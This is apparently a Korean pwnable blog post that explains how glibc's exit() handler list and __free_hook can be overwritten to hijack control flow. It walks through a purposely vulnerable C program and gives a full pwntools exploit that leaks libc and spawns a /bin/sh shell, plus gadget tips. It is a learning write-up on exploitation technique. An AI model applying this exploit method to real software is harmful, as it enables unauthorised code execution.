티스토리 뷰
exit()?
C에서 exit()
이라는 함수는, 현재의 C프로그램 자체를 완전 종료하는 기능을 가집니다.
exit()
는 코드에서 직접 선언하여 사용할 수도 있지만, __libc_start_main()
에서 main함수를 동작한 이후 마지막 단계에서 호출하기도 합니다.
ba0bab➤ disas 0x7ffff7a05ab0
Dump of assembler code for function __libc_start_main:
0x00007ffff7a05ab0 <+0>: push r13
0x00007ffff7a05ab2 <+2>: push r12
0x00007ffff7a05ab4 <+4>: xor eax,eax
...
...
...
0x00007ffff7a05b95 <+229>: call rax
0x00007ffff7a05b97 <+231>: mov edi,eax
0x00007ffff7a05b99 <+233>: call 0x7ffff7a27120 <__GI_exit>
프로그램이 crash없이 정상종료하게 된다면 exit()
가 결국 실행된다는 이야기가 됩니다.
exit()의 내부루틴을 통해 exploit하기
exit()
는 프로그램의 마지막 종료 단계에서 call되기 때문에, exit()
의 내부루틴을 잘 활용하면 프로그램의 실행 흐름을 바꿀 수 있습니다.
exit.c analysis
분석하기 앞서 exit.c 코드는 아래 링크에서 볼 수 있습니다.
Source code
exit()를 처음 호출 하게 되면 __run_exit_hadlers를 호출하게 됩니다.
→ 0x7ffff7a27120 <exit+0> lea rsi, [rip+0x3a85f1] # 0x7ffff7dcf718 <__exit_funcs>
0x7ffff7a27127 <exit+7> sub rsp, 0x8
0x7ffff7a2712b <exit+11> mov ecx, 0x1
0x7ffff7a27130 <exit+16> mov edx, 0x1
0x7ffff7a27135 <exit+21> call 0x7ffff7a26ed0 <__run_exit_handlers> ->호출
0x7ffff7a2713a nop WORD PTR [rax+rax*1+0x0]
그럼 __run_exit_handlers()
내부를 보도록 하겠습니다.
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}
while문이 끝난 이후에,
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
cur->next가 NULL이 아니면 free(cur)을 진행합니다.
exit 내에 free가 있기 때문에 조건을 맞춰 __free_hook을 덮을 수 있다면 실행 흐름을 바꿀 수 있게 됩니다.
cur구조체를 확인해보겠습니다.
cur = *listp;
listp가 뭘까요?
void attribute_hidden __run_exit_handlers (int status,
struct exit_function_list **listp, bool run_list_atexit, bool run_dtors)
*listp
는 __run_exit_handlers()
에서 두번째 인자로 받는 이중포인터입니다.
listp는 exit_function_list
라는 구조체 변수입니다.
exit_function_list는 exit.h에 정의되어 있고,
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
이런 구조를 가지고 있네요.
overwrite **listp(cur->idx, cur->next)
__run_exit_handlers()
의 두번째 인자의 구조체를 overwrite할 수 있으면 결국 조건을 맞춰 free()를 호출 할 수 있게 됩니다.
exit()에서 __run_exit_handlers()를 콜할때 인자를 디버깅해보겠습니다.
→ 0x7ffff7a27120 <exit+0> lea rsi, [rip+0x3a85f1] # 0x7ffff7dcf718 <__exit_funcs>
0x7ffff7a27127 <exit+7> sub rsp, 0x8
0x7ffff7a2712b <exit+11> mov ecx, 0x1
0x7ffff7a27130 <exit+16> mov edx, 0x1
0x7ffff7a27135 <exit+21> call 0x7ffff7a26ed0 <__run_exit_handlers>
두 번째 인자인 rsi에 값을 넣어줍니다.lea rsi, [rip+0x3a85f1] # 0x7ffff7dcf718 <__exit_funcs>
ba0bab➤ x/gx 0x7ffff7dcf718
0x7ffff7dcf718 <__exit_funcs>: 0x00007ffff7dd0d80
ba0bab➤ x/gx 0x00007ffff7dd0d80
0x7ffff7dd0d80 <initial>: 0x0000000000000000
ba0bab➤
확인해보면 결국 *initial
이 cur->next가 해당되고*(initial+8)
이 cur->idx에 해당되게 됩니다.
initial구조체는 libc영역에 있기때문에 offset을 이용하여 값을 overwrite해주면 됩니다.
그렇게 조건을 맞춰주면 free가 사용됩니다!
중간정리
-
__free_hook overwrite
-
cur(initial)->idx 를 0 (while문이 동작하지 않도록 우회)
-
cur(initial)->next가 NULL이 아니도록
solve prob
대충 문제를 만들어서 풀어보겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char *buf=NULL;
char condition[0x100]={0};
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
read(0, &buf, 8);
puts((char*)buf);
read(0, &buf, 8);
read(0, (char*)buf, 8);
read(0, &buf, 8);
read(0, (char*)buf, 8);
read(0, &buf, 8);
read(0, (char*)buf, 8);
return 0;
}
시나리오는
- libc leak
- cur->next overwrite
- cur->idx overwrite
- __free_hook overwrite
from pwn import *
import sys
try:
server = int(sys.argv[1])
except:
server = 0
if server == 0:
s = process("exit")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif server == 1:
s = remote("", )
#libc = ELF("")
e = ELF("exit")
#context.log_level = 'debug'
s.send(p64(e.got['read']))
read = u64(s.recv(6)+"\x00\x00")
libc_base = read - libc.symbols['read']
print(hex(libc_base))
magic = libc_base + 0x10a38c
main = e.symbols['main']
initial = libc_base + 0x3ecd80
free_hook = libc_base + 0x3ed8e8
s.send(p64(initial))
s.send("/bin/sh\x00")
s.send(p64(initial+8))
s.send(p64(0))
s.send(p64(free_hook))
s.send(p64(libc_base + libc.symbols['system']))
s.interactive()
cur->idx 사실 1이여도 상관없습니다.
while문이 돌면 조금 까다롭기 때문에 0으로 맞춰 우회하는 것입니다.
tips
분석하다보면 exit()이후에 __call_tls_dtors ();한 후에 _dl_fini로 들어가는데 여기서 분석하다보면 libc영역을 call하는 부분이 있어서 가젯으로 사용할 수 있습니다.
0x00007ffff7de59e7 <+71>: call QWORD PTR [rip+0x21857b] # 0x7ffff7ffdf68 <_rtld_global+3848>
0x00007ffff7de59ed <+77>: sub r12,0x1
0x00007ffff7de59f1 <+81>: sub rbx,0x90
0x00007ffff7de59f8 <+88>: cmp r12,0xffffffffffffffff
0x00007ffff7de59fc <+92>: je 0x7ffff7de5bd0 <_dl_fini+560>
0x00007ffff7de5a02 <+98>: lea rdi,[rip+0x217f5f] # 0x7ffff7ffd968 <_rtld_global+2312>
0x00007ffff7de5a09 <+105>: call QWORD PTR [rip+0x218551] # 0x7ffff7ffdf60 <_rtld_global+3840>
reference
'pwnable > 정리' 카테고리의 다른 글
_IO_FILE Arbitrary Read & Write (0) | 2020.03.09 |
---|---|
FSOP : File Stream Oriented Programming (0) | 2019.12.22 |
64bit fsb 정리 (0) | 2019.11.06 |
libc_start_main leak (0) | 2018.09.13 |
kail tool pattern_create / offset (0) | 2018.09.06 |
- pwnable.tw
- TLS
- oob
- ebp change
- hacking
- SQLi
- rt_sigreturn
- 본선가고싶다
- tcache
- pwable
- fastbindup
- exit
- heap
- fsop
- overflow
- srop
- fastbin
- FSB
- stack reusing
- shellcoding
- codegate
- 해킹
- glibc
- HackCTF
- pwnable
- Total
- Today
- Yesterday